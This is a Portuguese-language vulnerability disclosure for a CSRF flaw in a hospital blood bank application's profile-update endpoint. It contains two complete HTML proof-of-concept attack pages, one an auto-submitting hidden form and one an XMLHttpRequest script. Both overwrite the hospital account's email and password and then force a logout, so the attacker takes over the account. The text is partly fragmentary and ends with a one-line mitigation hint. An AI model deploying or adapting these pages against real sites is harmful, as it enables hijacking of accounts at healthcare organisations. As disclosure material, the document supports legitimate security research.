
Um POC de CSRF para Atualização do Perfil de um Hospital levando à Tomada de Conta
/file/updateprofile.phpExiste uma vulnerabilidade de CSRF neste endpoint /file/updateprofile.php que permite que um usuário remoto atualize os detalhes do usuário de um hospital e pode levar à tomada de conta, pois o atacante pode atualizar todas as informações, desde o e-mail até a senha, aumentando efetivamente as chances de tomada de conta.
A exploração bem-sucedida pode levar a ações não autorizadas, ou seja, exclusão de dados, em nome da vítima. Além disso, isso poderia ser explorado ao visitar sites maliciosos com o payload.
Abaixo está um exemplo de um Ataque PoC de CSRF que atualiza os detalhes do perfil de uma conta de hospital logada; hospede o arquivo em um domínio controlado pelo atacante — no meu caso, eu estava usando localhost:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF PoC with Logout Redirect</title>
</head>
<body>
<h2>CSRF Proof of Concept with Chained Logout</h2>
<!-- Form to exploit CSRF vulnerability for updating profile -->
<form id="csrfForm" action="http://localhost.local/bloodbank/file/updateprofile.php" method="POST">
<input type="hidden" name="hname" value="parirenyatwa">
<input type="hidden" name="hemail" value="[email protected]">
<input type="hidden" name="hpassword" value="pari1234">
<input type="hidden" name="hphone" value="0777054000">
<input type="hidden" name="hcity" value="harare">
<input type="hidden" name="update" value="Update">
</form>
<script>
// Submit the CSRF form to update profile
document.getElementById("csrfForm").submit();
</script>
</body>
</html>
logout CSRF, alcançando assim a tomada de conta.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF PoC with XMLHttpRequest</title>
</head>
<body>
<h2>CSRF Proof of Concept with XMLHttpRequest and Redirect</h2>
<script>
// Define the target URLs for the CSRF attack
const updateUrl = "http://localhost.local/bloodbank/file/updateprofile.php";
const logoutUrl = "http://localhost.local/bloodbank/logout.php";
// Data for the profile update CSRF request
const updateData = "hname=parirenyatwa&hemail=pari%40hospital.co.zw&hpassword=pari1234&hphone=0777054000&hcity=harare&update=Update";
// Function to send the XMLHttpRequest
function sendCSRFUpdate() {
const xhr = new XMLHttpRequest();
xhr.open("POST", updateUrl, true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
// When the request is complete, redirect to the logout page
xhr.onload = function() {
if (xhr.status === 200) {
console.log("Profile update CSRF request completed");
// Redirect to logout URL to log the victim out
window.location.href = logoutUrl;
} else {
console.error("Profile update failed with status:", xhr.status);
}
};
// Send the request with the update data
xhr.send(updateData);
}
// Trigger the CSRF attack by sending the update request
sendCSRFUpdate();
</script>
</body>
</html>
csrf tokens na sua requisição e também evite que requisições GET realizem ações que alterem o estado.